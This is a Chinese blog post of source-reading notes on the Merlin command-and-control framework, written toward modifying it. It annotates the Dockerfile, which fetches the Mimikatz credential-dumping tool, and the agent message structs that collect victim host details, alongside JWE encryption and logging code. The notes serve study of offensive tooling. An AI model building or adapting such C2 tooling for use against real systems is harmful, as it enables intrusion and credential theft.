长亭百川云 - 文章详情

Merlin远控二次开发-源码阅读笔记(1)

Security丨Art

42

2024-07-13

Merlin 远控二次开发

源码分析

DOCKERFILE

  
\# Build the Docker image first  
\#  > sudo docker build -t merlin . 创建Merlin项目  
  
\# To start the Merlin Server, run 在443端口起container,映射日志目录,将c2运行的日志放在merlin-server-log和merlin-agent-logs文件夹中  
\#  > sudo docker run -it -p 443:443 -v ~/merlin-server-log:/opt/merlin/data/log -v ~/merlin-agent-logs:/opt/merlin/data/agents merlin:latest   
  
\# Update APT 更新apt及cmake需要的apt-transport-https及windows平台c/c++需要的gcc-mingw-w64编译器  
RUN apt-get update  
RUN apt-get upgrade -y  
RUN apt-get install -y apt-transport-https vim gcc-mingw-w64 unzip  
  
\# Install Microsoft package signing key 注册 Microsoft 密钥和源  
RUN wget --quiet -O - https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg 安装microsoft公共库秘钥  
RUN mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/  
RUN wget --quiet https://packages.microsoft.com/config/debian/10/prod.list  
RUN mv prod.list /etc/apt/sources.list.d/microsoft-prod.list  
RUN chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg  
RUN chown root:root /etc/apt/sources.list.d/microsoft-prod.list  
  
\# Install Microsoft .NET Core 2.1 SDK 安装 .NET Core SDK  
RUN apt-get update  
RUN apt-get install -y dotnet-sdk-2.1  
  
\# Clone Merlin Server 下载merlin服务端项目源码  
WORKDIR /opt  
RUN git clone --recurse-submodules https://github.com/Ne0nd0g/merlin  
WORKDIR /opt/merlin  
RUN go mod download  
  
\# Clone Merlin Agent 下载merlin客户端项目源码  
WORKDIR /opt/  
RUN git clone https://github.com/Ne0nd0g/merlin-agent  
WORKDIR /opt/merlin-agent  
RUN go mod download  
RUN make all  
  
\# Clone Merlin Agent DLL 下载merlin客户端Dll文件源码  
WORKDIR /opt/  
RUN git clone https://github.com/Ne0nd0g/merlin-agent-dll  
WORKDIR /opt/merlin-agent-dll  
RUN go mod download  
RUN make  
  
\# Build SharpGen 编译.net 加密项目模块  
WORKDIR /opt/merlin/data/src/cobbr/SharpGen  
RUN dotnet build -c release  
  
\# Download Mimikatz 下载mimikatz  
WORKDIR /opt/merlin/data/src/  
RUN wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz\_trunk.zip  
RUN unzip mimikatz\_trunk.zip -d mimikatz  
RUN rm /opt/merlin/data/src/mimikatz\_trunk.zip  
  
\# Port that the agent will communicate with the server on  指定于外界交互的443端口  
EXPOSE 443  
  
WORKDIR /opt/merlin 运行main.go入口文件  
CMD \["go", "run", "main.go"\]

目录结构

2022/01/05  23:15    <DIR>          ..  
2022/01/05  23:15                56 .gitattributes  
2022/01/05  23:15    <DIR>          .github  
2022/01/05  23:15                51 .gitignore  
2022/01/05  23:15               114 .gitmodules  
2022/01/05  23:15    <DIR>          data   存放项目启动后存放的日志、数据库、agent向server传输的文件及日志、tls证书文件等文件  
2022/01/05  23:15             1,897 Dockerfile  
2022/01/05  23:15    <DIR>          docs   项目各项模块介绍及说明文档  
2022/01/05  23:15             1,225 go.mod  
2022/01/05  23:15            34,280 go.sum  
2022/01/05  23:15            33,071 LICENSE  
2022/01/05  23:15             2,093 main.go 项目入口文件  
2022/01/05  23:15               818 Makefile  
2022/01/05  23:15    <DIR>          pkg     项目核心库文件  
2022/01/05  23:15             6,058 README.MD  
              10 个文件         79,663 字节  
               6 个目录 24,150,183,936 可用字节

data(模块文件)

2022/01/05  23:15    <DIR>          .  
2022/01/05  23:15    <DIR>          ..  
2022/01/05  23:15    <DIR>          agents  存放agent向server传输的文件及日志  
2022/01/05  23:15    <DIR>          log     存放server端日志文件  
2022/01/05  23:15    <DIR>          modules 存放json格式模块文件(类似插件,包含第三方文件github地址及)  
2022/01/05  23:15               484 README.MD  
2022/01/05  23:15    <DIR>          src     存放第三方工具源码  
2022/01/05  23:15    <DIR>          x509    存放cert证书  
               1 个文件            484 字节  
               7 个目录 24,152,489,984 可用字节

docs(Sphinx文档集)

2022/01/05  23:15    <DIR>          ..  
2022/01/05  23:15    <DIR>          agent                        存放客户端rst文档(包含agent端描述文档、dll描述文档、使用make自行编译文档)  
2022/01/05  23:15            30,704 CHANGELOG.MD  
2022/01/05  23:15             5,806 conf.py                      Sphinx配置文件    
2022/01/05  23:15             3,272 CONTRIBUTING.MD  
2022/01/05  23:15    <DIR>          images                       文档中涉及的图片  
2022/01/05  23:15             1,672 index.rst                    描述文件索引  
2022/01/05  23:15               599 ISSUE\_TEMPLATE.md  
2022/01/05  23:15               787 make.bat                     由Sphinx quickstart生成  
2022/01/05  23:15               598 Makefile                     由Sphinx quickstart生成  
2022/01/05  23:15    <DIR>          misc                         杂项文档  
2022/01/05  23:15    <DIR>          modules                      模块描述rst文档(模块是预存的agent将执行的一系列操作的json描述文件)  
2022/01/05  23:15               603 PULL\_REQUEST\_TEMPLATE.md   
2022/01/05  23:15    <DIR>          quickStart                   存放快速使用rst文档(包含客户端使用文档、服务端使用文档、和答疑文档)  
2022/01/05  23:15    <DIR>          server                       存放服务端rst文档(tls证书描述文件、服务端各项目录描述文档【agent、listener、main、modules】)  
2022/01/05  23:15    <DIR>          \_build                       各文档生成过程中的编译文件树文档  
               8 个文件         44,041 字节  
               9 个目录 22,375,784,448 可用字节

Sphinx是一个工具,她能够轻易地创建文档,此处为sphinx-build 脚本构建了一个Sphinx文档集

pkg(项目核心源码)

2022/01/05  23:15    <DIR>          ..  
2022/01/05  23:15    <DIR>          agents  
2022/01/05  23:15    <DIR>          api  
2022/01/05  23:15    <DIR>          cli  
2022/01/05  23:15    <DIR>          core  
2022/01/05  23:15    <DIR>          handlers  
2022/01/05  23:15    <DIR>          jobs  
2022/01/05  23:15    <DIR>          listeners  
2022/01/05  23:15    <DIR>          logging  
2022/01/05  23:15             1,008 merlin.go                 定义了包名、版本、和编译参数为非发布(norealease)  
2022/01/05  23:15    <DIR>          messages  
2022/01/05  23:15    <DIR>          modules  
2022/01/05  23:15    <DIR>          opaque  
2022/01/05  23:15    <DIR>          pwnboard  
2022/01/05  23:15               129 README.MD  
2022/01/05  23:15    <DIR>          server  
2022/01/05  23:15    <DIR>          servers  
2022/01/05  23:15    <DIR>          util  
               2 个文件          1,137 字节  
              17 个目录 22,401,064,960 可用字节

源码

main.go

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package merlin             声明了包名  
  
// Version is a constant variable containing the version number for the Merlin package  
const Version \= "1.2.0"   定义了静态变量版本号  
  
// Build is the unique number based off the git commit in which it is compiled against  
var Build \= "nonRelease"  声明了编译变量为非发布   

core

core.go

包括是否开启调试模式、当前项目路径、是否输出详细信息、随机生成任意长度随机字符算法RandStringBytesMaskImprSrc、jwe加解密算法

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package core  
  
import (  
    // Standard     引用的官方库文件  
    "bytes"  
    "crypto/rsa"  
    "encoding/gob"  
    "fmt"  
    "math/rand"  
    "os"  
    "time"  
  
    // 3rd Party     引用第三方库  
    "gopkg.in/square/go-jose.v2"  
  
    // Merlin  
    "github.com/Ne0nd0g/merlin/pkg/messages"          //引用本项目messages  
)  
  
// Debug puts Merlin into debug mode and displays debug messages  
var Debug \= false   //关闭调试模式  
  
// Verbose puts Merlin into verbose mode and displays verbose messages  
var Verbose \= false  //关闭详细信息输出  
  
// CurrentDir is the current directory where Merlin was executed from  
var CurrentDir, \_ \= os.Getwd()            //获取当前路径  
var src \= rand.NewSource(time.Now().UnixNano())           //使用当前时间戳作为随机数种子  
  
// Constants  
const (  
    letterIdxBits \= 6                    // 6 bits to represent a letter index  
    letterIdxMask \= 1<<letterIdxBits \- 1 // All 1-bits, as many as letterIdxBits letteridmask = letterIdxBits右移一位-1即63  
    letterIdxMax  \= 63 / letterIdxBits   // # of letter indices fitting in 63 bits  63/6=10  
    letterBytes   \= "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"  
)  
  
  
  
  
  
// RandStringBytesMaskImprSrc generates and returns a  //random string of n characters long   
func RandStringBytesMaskImprSrc(n int) string {        //生成n个字节长度的随机字符  
    // http://stackoverflow.com/questions/22892120/how-to-generate-a-random-string-of-a-fixed-length-in-golang  
    b :\= make(\[\]byte, n)           //b为长度n的byte 数组  
    // A src.Int63() generates 63 random bits, enough for letterIdxMax characters!  
  
 //src.Int63() 生成 63 个随机位,足以容纳 letterIdxMax 个字符  
 //Int63n从默认Source返回\[0,n)中的非负伪随机数作为int64  
 //int64是64位有符号整数类型。这意味着它具有1个符号位和63个有效位。这意味着任何返回非负 int64的东西都会产生63位数据(第64位(符号位)将始终具有相同的值)  
                                                 
    for i, cache, remain :\= n\-1, src.Int63(), letterIdxMax; i \>= 0; {  //i位n个字符数组下标,cache为随机数,remain=10  
        if remain \== 0 {  
            cache, remain \= src.Int63(), letterIdxMax                 // cache为19位数字   
        }  
        if idx :\= int(cache & letterIdxMask); idx < len(letterBytes) {  //按位与生成63以内数字,且数字在随机字符集下标内,为随机字符数组对应下标字符赋值  
            b\[i\] \= letterBytes\[idx\]   
            i\--  
        }  
        cache \>>= letterIdxBits                                       //cache = cache>>6 cache向右位移6位,用新的6位随机数去相与,共64位  
        remain\--                                                         //10次用尽生成新的随机数  
}  
    return string(b)  
}  
  
// DecryptJWE takes provided JWE string and decrypts it using the per-agent key 对jwe秘钥进行解密  
func DecryptJWE(jweString string, key \[\]byte) (messages.Base, error) {  
    var m messages.Base      
/\*    type Base struct {  
    Version float32     \`json:"version"\`  
    ID      uuid.UUID   \`json:"id"\`  
    Type    int         \`json:"type"\`  
    Payload interface{} \`json:"payload,omitempty"\`  
    Padding string      \`json:"padding"\`  
    Token   string      \`json:"token,omitempty"\`  
}  
      
    message.base struct结构  
\*/  
      
      
    // Parse JWE string back into JSONWebEncryption  
    jwe, errObject :\= jose.ParseEncrypted(jweString)                        //go-jose加密解密包,解析(反序列化?)输入的jwe加密字符串  
    if errObject != nil {  
        return m, fmt.Errorf("there was an error parseing the JWE string into a JSONWebEncryption object:\\r\\n%s", errObject)  
}  
  
    // Decrypt the JWE  
    jweMessage, errDecrypt :\= jwe.Decrypt(key)                         //对解析过的反序列化对象串根据输入的key进行解密  
    if errDecrypt != nil {  
        return m, fmt.Errorf("there was an error decrypting the JWE string:\\r\\n%s", errDecrypt.Error())  
}  
  
    // Decode the JWE payload into a messages.Base struct  
    errDecode :\= gob.NewDecoder(bytes.NewReader(jweMessage)).Decode(&m) //解码jweMessage并写入变量m中  
      
    /\*  
    gob包("encoding/gob")管理gob流——在encoder(编码器,也就是发送器)和decoder(解码器,也就是接受器)之间交换的字节流数据(gob 就是 go binary的缩写)。一般用于传递远端程序调用(RPC)的参数和结果。  
  
要使用gob,通过调用NewEncoder()方法先创建一个编码器,并向其提供一系列数据;然后在接收端,通过调用NewDecoder()方法创建一个解码器,它从数据流中恢复数据并将它们填写进本地变量里  
\*/  
      
      
    if errDecode != nil {  
        return m, fmt.Errorf("there was an error decoding JWE payload message sent by an agent:\\r\\n%s", errDecode.Error())  
}  
  
    return m, nil //返回message.base结构体  
}  
  
// GetJWESymetric takes an input, typically a gob encoded messages.Base, and returns a compact serialized JWE using the  
// provided input key           jwe对称加密函数  
func GetJWESymetric(data \[\]byte, key \[\]byte) (string, error) {  
    //   Keys used with AES GCM must follow the constraints in Section 8.3 of  
    //   \[NIST.800-38D\], which states: "The total number of invocations of the  
    //   authenticated encryption function shall not exceed 2^32, including  
    //   all IV lengths and all instances of the authenticated encryption  
    //   function with the given key".  In accordance with this rule, AES GCM  
    //   MUST NOT be used with the same key value more than 2^32 times. == 4294967296  
    //   TODO ensure no more than 4294967295 JWE's are created using the same key  
   // 与 AES GCM 一起使用的密钥必须遵循 \[NIST.800-38D\] 的第 8.3 节中的约束,其中指出:“经过身份验证的加密函数的调用总数不得超过 2^32,包括所有 IV 长度和所有 具有给定密钥的经过身份验证的加密函数的实例”。 根据此规则,AES GCM 不得与相同的密钥值一起使用超过 2^32 次。 == 4294967296  
// TODO 确保使用相同的密钥创建不超过 4294967295 个 JWE  
      
    //balabala好多废话,大概就是相同key可加密出4294967295不同的jwe  
    encrypter, encErr :\= jose.NewEncrypter(jose.A256GCM,  
        jose.Recipient{  
            Algorithm: jose.PBES2\_HS512\_A256KW, // Creates a per message key encrypted with the passed in key  
            //Algorithm: jose.DIRECT, // Doesn't create a per message key  
            PBES2Count: 500000,  
            Key:        key},  
        nil)  
/\* type Recipient ¶  
type Recipient struct {  
    Algorithm  KeyAlgorithm  
    Key        interface{}  
    KeyID      string  
    PBES2Count int  
    PBES2Salt  \[\]byte  
}  
  
PBES2Count 和 PBES2Salt 对应于基于密码的加密算法 PBES2-HS256+A128KW、PBES2-HS384+A192KW 和 PBES2-HS512+A256KW 中使用的“p2c”和“p2s”标头。  
如果未提供它们,则将使用安全默认值 100000 进行计数,并将生成 128 位随机盐。  
  
\*/  
      
      
    if encErr != nil {  
        return "", fmt.Errorf("there was an error creating the JWE encryptor:\\r\\n%s", encErr)  
}  
    jwe, errJWE :\= encrypter.Encrypt(data)  
    if errJWE != nil {  
        return "", fmt.Errorf("there was an error encrypting the Authentication JSON object to a JWE object:\\r\\n%s", errJWE.Error())  
}  
  
    serialized, errSerialized :\= jwe.CompactSerialize()  
    if errSerialized != nil {  
        return "", fmt.Errorf("there was an error serializing the JWE in compact format:\\r\\n%s", errSerialized.Error())  
}  
  
    // Parse it to make sure there were no errors serializing it  
    \_, errJWE \= jose.ParseEncrypted(serialized)  
    if errJWE != nil {  
        return "", fmt.Errorf("there was an error parsing the encrypted JWE:\\r\\n%s", errJWE.Error())  
}  
  
    return serialized, nil  
}  
  
// GetJWEAsymetric takes an input, typically a gob encoded messages.Base, and returns a compact serialized JWE using the  
// provided input RSA public key             jwe非对称加密函数  
func GetJWEAsymetric(data \[\]byte, key \*rsa.PublicKey) (string, error) {   
    // TODO change key algorithm to ECDH  
    encrypter, encErr :\= jose.NewEncrypter(jose.A256GCM, jose.Recipient{Algorithm: jose.RSA\_OAEP, Key: key}, nil)  
    调用jose创建一个加密器  
      
    jose.A256GCM,即enc表示的是使用的加密分组是多少位,并采用哪种方式,enc\=A256GCM,表示使用256位分组的GCM加密方式   
      
    加密明文内容的rsa算法和公钥  
    type Recipient struct {  
    Algorithm  KeyAlgorithm  
    Key        interface{}  
    KeyID      string  
    PBES2Count int  
    PBES2Salt  \[\]byte  
}  
      
      
      
    if encErr != nil {  
        return "", fmt.Errorf("there was an error creating the agent encryptor:\\r\\n%s", encErr)  
}  
    jwe, errJWE :\= encrypter.Encrypt(data)  对数据进行加密生成jwe对象  
    if errJWE != nil {  
        return "", fmt.Errorf("there was an error encrypting the data into a JWE object:\\r\\n%s", errJWE.Error())  
}  
  
    serialized, errSerialized :\= jwe.CompactSerialize() 对加密后的jwe对象进行序列化  
    if errSerialized != nil {  
        return "", fmt.Errorf("there was an error serializing the JWE in compact format:\\r\\n%s", errSerialized.Error())  
}  
  
    // Parse it to make sure there were no errors serializing it  
    \_, errJWE \= jose.ParseEncrypted(serialized) 判断是否可以以序列化格式解析加密后的消息  
    if errJWE != nil {  
        return "", fmt.Errorf("there was an error parsing the encrypted JWE:\\r\\n%s", errJWE.Error())  
}  
  
    return serialized, nil  判断可以解析成功后返回序列化后的jwe加密对象  
}  

jwe的5个组成部分:  
JWE header: 描述用于创建jwe加密密钥和jwe密文的加密操作,类似于jws中的header。参数不一一描述,详情请见jwe header参数  
  
JWE Encrypted Key:用来加密文本内容所采用的算法。  
  
JWE initialization vector: 加密明文时使用的初始化向量值,有些加密方式需要额外的或者随机的数据。这个参数是可选的。  
  
JWE Ciphertext:明文加密后产生的密文值。  
  
JWE Authentication Tag:数字认证标签。  
  
  
 //一个完整的jwe json结构 { "protected":"jwe受保护的header头", "unprotected":"JWE Shared Unprotected Header数据", "header":"", "encrypted\_key":"密钥加密后数据 ", "aad":"额外的认证数据", "iv":"同上的 JWE initialization vector", "ciphertext":"同上的JWE Ciphertext", "tag":"同上的JWE Authentication Tag" }  
   
 jwe创建流程:  
 Base64.encode(header)+"."+Base64.encode(encrypted\_key)+","+Base64.encode(iv)+"."+Base64.encode(ciphertext)+"."Base64.encode(tag)

JWS认证图

JWE认证图

message

messages.go

定义agent传递的一系列信息的结构体

gob 一般性调用编码解码  
  
func senMsg()error {  
    fmt.Print("开始执行编码(发送端)")  
    
    enc := gob.NewEncoder(&network)  
    sendMsg:=MsgData{3, 4, 5, "jiangzhou"}  
    fmt.Println("原始数据:",sendMsg)  
    err := enc.Encode(&sendMsg)  
    fmt.Println("传递的编码数据为:",network)  
    return  err  
}  
func revMsg()error {  
    var revData MsgData  
    dec:=gob.NewDecoder(&network)  
    err:= dec.Decode(&revData) //传递参数必须为 地址  
    fmt.Println("解码之后的数据为:",revData)  
    return err  
}  
  
编码的数据中有空接口类型,传递时赋值的空接口为:基本类型(int、float、string)、切片时,可以不进行注册  
fmt.Print("开始执行编码(发送端)")   
    enc := gob.NewEncoder(&network)   
    s:=make(\[\]string,0)  
    s=append(s, "hello")  
    //sendMsg:=MsgData{3, 4, 5, "jiangzhou",Msg{10001,"hello"}}  
    //sendMsg:=MsgData{3, 4, 5, "jiangzhou",66.66}  
    sendMsg:=MsgData{3, 4, 5, "jiangzhou",s}  
  
编码的数据中有空接口类型,传递时赋值的空接口为:map、struct时,必须进行注册。Register和RegisterName解决的主要问题是:当编解码中有一个字段是interface{}(interface{}的赋值为map、结构体时)的时候需要对interface{}的可能产生的类型进行注册  
func senMsg()error {  
    fmt.Print("开始执行编码(发送端)")  
    
    enc := gob.NewEncoder(&network)  
    
   m:=make(map\[int\]string)  
    m\[10001\]="hello"  
    m\[10002\]="jiangzhou"  
    gob.Register(map\[int\]string{}) //TODO:进行了注册  
    sendMsg:=MsgData{3, 4, 5, "jiangzhou",m}  
    fmt.Println("原始数据:",sendMsg)  
    err := enc.Encode(&sendMsg)  
    fmt.Println("传递的编码数据为:",network)  
    return  err  
}  
  
  
  

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package messages  
  
import (  
	// Standard  
	"crypto/rsa"  
	"encoding/gob" gob包用于二进制流传递参数(值),常用于远程调用传递值(RPC)  
	"fmt"  
  
	// 3rd Party  
	"github.com/satori/go.uuid"  
)  
  
// init registers message types with gob that are an interface for Base.Payload  
func init() {  
	gob.Register(KeyExchange{})  
	gob.Register(AgentInfo{})  
	gob.Register(SysInfo{})  
}  
  
  
  
const (  
  
	// To Server  
  
	// CHECKIN is used by the Agent to identify that it is checking in with the server  
	CHECKIN = 1 // StatusCheckIn 被agent用于标识他正在与server进行检入  
	// OPAQUE is used to denote that embedded message contains an opaque structure  
	OPAQUE = 2 用于标识传递的(嵌入的)消息包含不透明的结构体  
	// JOBS is used to denote that the embedded message contains a list of job structures  
	JOBS = 3 用来标识传递的(嵌入的)包含一份job结构的结构体  
	// KEYEXCHANGE is used to denote that embedded message contains a key exchange structure  
	KEYEXCHANGE = 4 用于标识传递的(嵌入的)包含一个交换秘钥的结构体  
  
	// To Agent  
  
	// IDLE is used to notify the Agent that server has no tasks and that the Agent should idle  
	IDLE = 10 用于通知agent没有任务,应该空闲  
)  
  
远控使用http协议沟通,传递的基础结构体如下:版本、id、类型、攻击载荷、字节填充、token  
// Base is the base JSON Object for HTTP POST payloads   
type Base struct {  
	Version float32     \`json:"version"\`  
	ID      uuid.UUID   \`json:"id"\`  
	Type    int         \`json:"type"\`  
	Payload interface{} \`json:"payload,omitempty"\`  
	Padding string      \`json:"padding"\`  
	Token   string      \`json:"token,omitempty"\`  
}  
  
// KeyExchange is a JSON payload used to exchange public keys for encryption  
KeyExchange结构体包含一个rsa公钥  
type KeyExchange struct {  
	PublicKey rsa.PublicKey \`json:"publickey"\`  
}  
  
// SysInfo is a JSON payload containing information about the system where the agent is running  
返回的受害主机的信息结构体(平台信息、结构(?)、受害主机用户名、guid、主机名、进程名、进程id、ip信息、域名)  
type SysInfo struct {  
	Platform     string   \`json:"platform,omitempty"\`  
	Architecture string   \`json:"architecture,omitempty"\`  
	UserName     string   \`json:"username,omitempty"\`  
	UserGUID     string   \`json:"userguid,omitempty"\`  
	HostName     string   \`json:"hostname,omitempty"\`  
	Process      string   \`json:"process,omitempty"\`  
	Pid          int      \`json:"pid,omitempty"\`  
	Ips          \[\]string \`json:"ips,omitempty"\`  
	Domain       string   \`json:"domain,omitempty"\`  
}  
  
// AgentInfo is a JSON payload containing information about the agent and its configuration  
agent的信息结构体(agent版本、编译信息(?)、延时、最大填充字节数、最多重复数、准入校验失败标识符、歪曲(?)、proto信息(?)、agent被杀时间、ja3指纹)  
type AgentInfo struct {  
	Version       string  \`json:"version,omitempty"\`  
	Build         string  \`json:"build,omitempty"\`  
	WaitTime      string  \`json:"waittime,omitempty"\`  
	PaddingMax    int     \`json:"paddingmax,omitempty"\`  
	MaxRetry      int     \`json:"maxretry,omitempty"\`  
	FailedCheckin int     \`json:"failedcheckin,omitempty"\`  
	Skew          int64   \`json:"skew,omitempty"\`  
	Proto         string  \`json:"proto,omitempty"\`  
	SysInfo       SysInfo \`json:"sysinfo,omitempty"\`  
	KillDate      int64   \`json:"killdate,omitempty"\`  
	JA3           string  \`json:"ja3,omitempty"\`  
}  
  
// String returns the text representation of a message constant  
根据传递的类型值返回类型的string信息  
func String(messageType int) string {  
	switch messageType {  
	case KEYEXCHANGE:  
		return "KeyExchange"  
	case CHECKIN:  
		return "StatusCheckIn"  
	case JOBS:  
		return "Jobs"  
	case OPAQUE:  
		return "OPAQUE"  
	case IDLE:  
		return "Idle"  
	default:  
		return fmt.Sprintf("Invalid: %d", messageType)  
	}  
}  

logging

logging.go
// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package logging  
  
import (  
   // Standard  
   "fmt"  
   "os"  
   "path/filepath"  
   "time"  
  
   // 3rd Party  
   "github.com/fatih/color" 定义输出ascii字体颜色的包  
  
   // Merlin  
   "github.com/Ne0nd0g/merlin/pkg/core"   
)  
  
var serverLog \*os.File   
  
func init() {  
  
   // Server Logging 检测项目根目录下是否存在/data/log/merlinServerLog.txt,如果没有则报错,紧接着调用os.MkdirAll创建目录并创建日志文件  
   if \_, err := os.Stat(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt")); os.IsNotExist(err) {  
      errM := os.MkdirAll(filepath.Join(core.CurrentDir, "data", "log"),  )  
      if errM != nil {  
         message("warn", "there was an error creating the log directory")  
      }  
      serverLog, errC := os.Create(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt"))  
      if errC != nil {  
         message("warn", "there was an error creating the merlinServerLog.txt file")  
         return  
      }  
      // Change the file's permissions 修改日志文件权限为0600 ,owner只有读写权限  
      errChmod := os.Chmod(serverLog.Name(), 0600)  
      if errChmod != nil {  
         message("warn", fmt.Sprintf("there was an error changing the file permissions for the agent log:\\r\\n%s", errChmod.Error()))  
      }  
      if core.Debug { 如果是debug模式输入日志  
         message("debug", fmt.Sprintf("Created server log file at: %s\\\\data\\\\log\\\\merlinServerLog.txt", core.CurrentDir))  
      }  
   }  
  
   var errLog error  
   serverLog, errLog = os.OpenFile(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt"), os.O\_APPEND|os.O\_WRONLY, 0600) 打开只写模式打开文件  
   if errLog != nil {  
      message("warn", "there was an error with the Merlin Server log file")  
      message("warn", errLog.Error())  
   }  
}  
  
// Server writes a log entry into the server's log file  
func Server(logMessage string) { 向日志写入时间和传入的日志信息  
   \_, err := serverLog.WriteString(fmt.Sprintf("\[%s\]%s\\r\\n", time.Now().UTC().Format(time.RFC3339), logMessage))  
   if err != nil {  
      message("warn", "there was an error writing to the Merlin Server log file")  
      message("warn", err.Error())  
   }  
}  
  
// Message is used to print a message to the command line  
func message(level string, message string) { 根据传入的level等级向控制台输出不同颜色的调试信息  
   switch level {  
   case "info":  
      color.Cyan("\[i\]" + message)  
   case "note":  
      color.Yellow("\[-\]" + message)  
   case "warn":  
      color.Red("\[!\]" + message)  
   case "debug":  
      color.Red("\[DEBUG\]" + message)  
   case "success":  
      color.Green("\[+\]" + message)  
   default:  
      color.Red("\[\_-\_\]Invalid message level: " + message)  
   }  
}  
  
// TODO configure all message to be displayed on the CLI to be returned as errors and not written to the CLI here

opaque

opaque.go
opaque是一种非对称加密传输进行非明文传输密码进行身份校验的身份校验算法  
  
参考文档   
  
https://www.diglog.com/story/1042842.html  
https://www.bilibili.com/read/cv10357653  
  
OPAQUE是两个密码协议名称的组合:OPRF和PAKE  
OPRF代表“遗忘伪随机函数”,这是一种协议,通过该协议,双方可以计算确定性的函数F(key,x),但输出看似随机的值。一方输入值x,另一方输入键,输入x的一方学习结果F(key,x),但不学习键,提供键的一方学不到任何东西。 (您可以在此处深入了解OPRF的数学方法:https://blog.cloudflare.com/privacy-pass-the-math/)  
  
OPAQUE算法分为两个过程,注册和登录。  
  
注册流程  
(盗图自irtf)  
  
  
注册流程发生在客户端C和服务器端S之间。这一过程要求S和C能够相互确认(就是说,用户要确认对方不是钓鱼网站,网站(如果有需要的话)要能确认用户身份),这也是OPAQUE唯一需要经认证的信道流程。  
  
在开始时,C需要准备好口令password并生成一对密钥对\*creds。C对于每一个账户都应当生成新的密钥对。S需要预先准备好密钥对server\_private\_key和server\_public\_key。S可以对许多不同用户使用同一密钥对。  
  
“密钥对”是一个词,指互相对应的公钥-私钥组成的一对密钥。  
  
之后,C将口令随机化得到(r, M), 并将M发送至S。  
  
S在收到请求后,需要生成OPRF私钥oprf\_key,然后使用oprf\_key处理M得到Z,并将Z返回。  
  
C使用返回的Z,明文口令password和第一步得到的r计算Y。之后,C将creds私钥用Y处理,得到经过加密的私钥,然后和明文的creds公钥一起返回至S。S将C的明文公钥,加密私钥和oprf\_key一同记录账户中,从而完成注册流程。  
  
登录流程  
(盗图自irtf)  
登录的第一步,是C根据明文密码取得私钥并解密。  
  
首先,C根据明文口令password计算(r, M),需要注意的是这里的(r, M)每次都是不同的。之后,C将M发送至S。  
  
S使用M和oprf\_key得到Z,并将Z和加密私钥共同返回。  
  
C使用Z,r,password计算Y。如果password正确,每次得到的Y应当是相同的。C使用Y解密加密私钥,从而将其恢复为明文私钥。  
  
C仅使用密码重新得到私钥,从而进入登录的下一个环节。  
  
之后,像传统的登录流程一样,C和S通过密钥对creds建立会话。会话成功建立从而登录流程结束。  
  
当然,适用于OPAQUE的“下一步”和传统的流程并不完全相同,CFRG建议了包括3DH和SIGMA-I等在内的一些选项,而根据Tatiana Bradley的研究,TLS也是可用的。  
  
  
  
整个流程中,S只接触了由口令随机化得到的M,却并没有接触明文口令,而M值每次都是不同的。C仅仅在登录时生成了creds,并将其加密后转交S存储。OPAQUE实现了在C端不存储私钥,而是在登录时根据口令恢复私钥;同时在S端不存储口令,而是存储OPRF私钥和加密的用户私钥。从而完成了aPAKE的要求。由于OPRF流程的使用,OPAQUE能够有效对抗预计算攻击,从而在服务器遭受入侵或泄露的情况下依然能保证用户凭据的安全。  
  
  
Gopaque 在 Go 中实现了 OPAQUE 协议  
API文档  
https://pkg.go.dev/github.com/cretz/gopaque/gopaque  
  
注册流程¶  
OPAQUE 注册是从用户向服务器注册的用户开始的 3 条消息过程。用户需要的唯一输入是密码,注册后,服务器有信息来执行身份验证。  
  
用户的步骤是:  
  
1 - 使用用户 ID 创建一个 NewUserRegister  
  
2 - 使用密码调用 Init 并将生成的 UserRegisterInit 发送到服务器  
  
3 - 接收服务器的 ServerRegisterInit  
  
4 - 使用服务器的 ServerRegisterInit 调用 Complete 并将生成的 UserRegisterComplete 发送到服务器  
  
